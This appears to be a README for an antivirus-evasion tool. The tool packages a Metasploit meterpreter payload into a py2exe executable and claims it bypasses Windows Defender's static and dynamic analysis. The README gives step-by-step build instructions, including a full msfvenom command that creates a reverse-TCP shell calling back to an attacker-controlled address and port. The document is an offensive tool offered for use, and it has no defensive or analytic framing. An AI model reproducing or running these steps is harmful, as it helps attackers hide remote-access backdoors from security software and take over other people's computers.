This tool was written to generate .py files for compilation into an .exe file using py2exe. Testing has shown that meterpreter coded in this way successfully bypasses static and dynamic analysis of windows defender. For build the .exe file, you need a Windows machine with Python 2.7 installed and the py2exe module. Based on pymemimporter that allows you to import any .pyd from memory with only pure python code (no .pyd)!
Instruction
- Download python 2.7
- Download py2exe for python 2.7
- Clone this repository:
git clone https://github.com/n0a/meterpreter-av-bypass - Make a payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > shell.exe - Generate build files:
./gen.sh shell.exe - Copy files from shell direcory to C:\Python27 on Windows machine.
- Run
make.bat - Your encoded payload in dist/shell.exe
Video - view
Для русскоязычной аудитории: https://xakep.ru/2020/12/23/shikata-ga-nai/